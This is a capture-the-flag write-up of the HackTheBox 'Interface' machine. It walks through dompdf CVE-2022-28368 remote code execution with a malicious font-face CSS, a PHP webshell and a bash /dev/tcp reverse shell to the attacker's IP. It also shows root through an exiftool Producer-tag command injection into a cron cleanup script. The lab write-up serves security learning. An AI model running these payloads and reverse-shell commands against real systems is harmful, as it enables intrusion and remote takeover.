HackTheBox – Interface
Description
Hey everyone !
I would like to share my writeup of HackTheBox Interface machine. Interaface is medium linux machine which I found quite challenging.
The foothold part is based mainly on the enumeration and i’m not sure what is the logic behind certain things but it’s solvable. I very like the root part since it was great opportunity to learn something new about linux security.
Enumeration
nmap scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7289a0957eceaea8596b2d2dbc90b55a (RSA)
| 256 01848c66d34ec4b1611f2d4d389c42c3 (ECDSA)
|_ 256 cc62905560a658629e6b80105c799b55 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site Maintenance
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
22 - openssh
OpenSSH version 7.6 is vulnerable to sensitive information disclosure by means of user enumeration.
We need to prepared users list and then we can check if any of these users are valid.
searchsploit -m linux/remote/45939.py
80 - nginx
After navigation to the http://10.129.228.208/ we can see:
Next thing to do is checking the the server response with burp:
In the CSP header we can see interesting url: http://prd.m.rendering-api.interface.htb ,we can also see that the page is using next.js framework. According to wappalyzer data it’s next.js v 13.04.
I added interface.htb and http://prd.m.rendering-api.interface.htb to the /etc/hosts file
echo '10.129.228.208 interface.htb prd.m.rendering-api.interface.htb ' | sudo tee -a /etc/hosts
Feroxbuster scan on interface.htb
feroxbuster -u http://interface.htb -w /usr/share/wordlist/seclist/Discovery/Web-Content/raft-medium-words.txt -o scans/ferox_rmedium_interface
cat scans/ferox_rmedium_interface | awk '{print $1" "$6}'
200 http://10.129.228.208/_next/static/chunks/pages/_error-dfcfa5bb62767c20.js
200 http://10.129.228.208/_next/static/Z79wh4kSTt439cxBUytQN/_ssgManifest.js
200 http://10.129.228.208/favicon.ico
308 http://10.129.228.208/_next/static/chunks/
200 http://10.129.228.208/_next/static/chunks/pages/index-c95e13dd48858e5b.js
200 http://10.129.228.208/
308 http://10.129.228.208/_next/static/chunks/pages/
308 http://10.129.228.208/_next/static/
200 http://10.129.228.208/_next/static/chunks/pages/_app-df511a3677d160f6.js
200 http://10.129.228.208/_next/static/chunks/main-50de763069eba4b2.js
200 http://10.129.228.208/_next/static/chunks/webpack-ee7e63bc15b31913.js
308 http://10.129.228.208/_next/
308 http://10.129.228.208/_next/static/Z79wh4kSTt439cxBUytQN/
308 http://10.129.228.208/application/
200 http://10.129.228.208/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js
200 http://10.129.228.208/_next/static/Z79wh4kSTt439cxBUytQN/_buildManifest.js
200 http://10.129.228.208/_next/static/chunks/framework-8c5acb0054140387.js
200 http://interface.htb/_next/static/chunks/pages/index-c95e13dd48858e5b.js
200 http://interface.htb/favicon.ico
200 http://interface.htb/
308 http://interface.htb/_next/static/
308 http://interface.htb/_next/static/Z79wh4kSTt439cxBUytQN/
200 http://interface.htb/_next/static/chunks/framework-8c5acb0054140387.js
200 http://interface.htb/_next/static/Z79wh4kSTt439cxBUytQN/_buildManifest.js
200 http://interface.htb/_next/static/chunks/webpack-ee7e63bc15b31913.js
200 http://interface.htb/_next/static/Z79wh4kSTt439cxBUytQN/_ssgManifest.js
308 http://interface.htb/_next/
200 http://interface.htb/_next/static/chunks/main-50de763069eba4b2.js
308 http://interface.htb/_next/static/chunks/
308 http://interface.htb/_next/static/chunks/pages/
200 http://interface.htb/_next/static/chunks/pages/_app-df511a3677d160f6.js
200 http://interface.htb/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js
308 http://interface.htb/application/
200 http://interface.htb/_next/static/chunks/pages/_error-dfcfa5bb62767c20.js
We can see that all interesting directories return Http 308 – Permament Redirect. It’s looks like it’s an api endpoints.
prd.m.rendering-api.interface.htb
After navigation to http://prd.m.rendering-api.interface.htb we can see:
Since I suspected that there is an api i navigated to /api directory:
I performed dirbusting on the /api dir but I couldn’t find any API endpoint. I thought what’s the difference between /api response and the '/’ response. Both reponse are 404 but the /api contains more data. I used ffuf and matched all html status codes and filtered size of /.
html2pdf api endpoint enumeration
When we try to access html2pdf api endpoint we get json reponse: `missing parameters`
I perform POST parameter fuzzing and found the one that works: `html`. I used Burp Intruder and object.txt wordlists from: /usr/share/seclists/Discovery/Web-Content/api/objects.txt
I checked this if this application is vulnerable to SSRF:
After investigation of the reponse we can see that the application on backend is dompdf 1.2.0:
According to information from that page: https://www.exploit-db.com/exploits/51270 dompdf < 1.2.1 is vulnerable to RCE.
Exploitation of Dompdf 1.2.1 - Remote Code Execution (RCE)
Vulerability description CVE-2022-28368
Dompdf before 1.2.1 allows remote code execution via a .php file in the src:url field of an @font-face in CSS.
Shortly speaking the exploitation process is about uploading malicious css file with src:url field navigation to malicious font file.
The application doesn’t check the font extension so that we can upload font with .php extension. Dompdf caches fonts locally in the `/lib/fonts` sub-directory.
Application saves cached fonts in local storage and modifies the name of the font, for example: `http://attacker.local/test_font.ttf` and weight/style “normal” would e.g. get stored as `testfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf`
If we have access to files saved in that directory we can navigate to the uploaded malicious font with php extension which result in PHP Code Execution.
Proof of Concept / Foothold
First thing we have to do is find the location where the fonts are saved. From previously mentioned article we know that the fonts are saved in the `/lib/fonts’ directory.
In order to do that I had to perform dirbusting. Following commands were issued:
feroxbuster -u http://prd.m.rendering-api.interface.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
...
feroxbuster -u http://prd.m.rendering-api.interface.htb/vendor -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
...
feroxbuster -u http://prd.m.rendering-api.interface.htb/vendor/dompdf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
...
feroxbuster -u http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
Firstly i created malicious css named exploit.css
@font-face {
font-family:'exploitfont';
src:url('http://10.10.14.57/exploit_font.php');
font-weight:'normal';
font-style:'normal';
}
Nextly I downloaded mailcious font that will execute phpinfo()
https://github.com/positive-security/dompdf-rce
Then i add the payload into the html json data:
<link rel=stylesheet href=’http://10.10.14.57/exploita.css’>
Afterwards I send the request to the html2pdf api endpoint:
alternatively we can use curl command:
curl -X POST http://prd.m.rendering-api.interface.htb/api/html2pdf -H 'Content-Type: application/json' -d '{"html":"<link rel=stylesheet href=\"http://10.10.14.57/exploit.css\"/>"}'
We can see that server executed our payload:
In order to execute the file the exploit I had to change the filename of the font as the server does:
echo "exploitfont_normal_$(echo -n 'http://10.10.14.57/exploit_font.php' | md5sum | cut -d " " -f1).php"
exploitfont_normal_42712d8690efd5b7b33d97e1e328108d.php
Since there is somekind of cleaning the machine I had to upload the exploit once again and then i navigated to page:
http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_42712d8690efd5b7b33d97e1e328108d.php
We can see that our code is executed:
Futher investigation of the phpinfo page shows the none of the php functions allowing us to execute system command are blocked:
I changed exploit_font.php payload to webshell payload:
cp exploit_font.php exploit.font2.php
cat exploit_font2.php | sed 's/phpinfo();/system($_GET[\"cmd\"]);/' > exploit_font.php
Uploaded another css file:
curl http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_42712d8690efd5b7b33d97e1e328108d.php?cmd=id --output /tmp/test;tail -n 1 /tmp/test
Now we can execute system commands:
I issued following commands to create reverse shell connection:
urlencode -m 'bash -c "bash -i >& /dev/tcp/10.10.14.57/4455 0>&1"'
bash+-c+%22bash+-i+%3E%26+/dev/tcp/10.10.14.57/4466+0%3E%261%22
/// executing command on the server
curl 'http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_42712d8690efd5b7b33d97e1e328108d.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.57/4466+0>%261"'
output:
Shell as root
I uploaded and run pspy64 to inspect starting processes and found interesting command that runs every 2 minutes:
Let’s check the content of that script:
We can see that the script scans /tmp directory, extracts Producer metadata value from files, compare it and remove certain files based on arithmetic operations.
According to this article: https://dev.to/greymd/eq-can-be-critically-vulnerable-338m bash arithmetic operation is vulnerable to command injection.
We can see that the cleancache.sh uses cut command on the Producer tag value so that we may have problems with executing payload that required spaces but we can execute external scripts.
I created bash script contatining reverse shell payload and placed it in the /dev/shm directory:
Nextly I issued following commands:
cd /tmp
touch image
exiftool -Producer='arg[$(/dev/shm/script.sh)]' image
After some time I got rev shell connection:
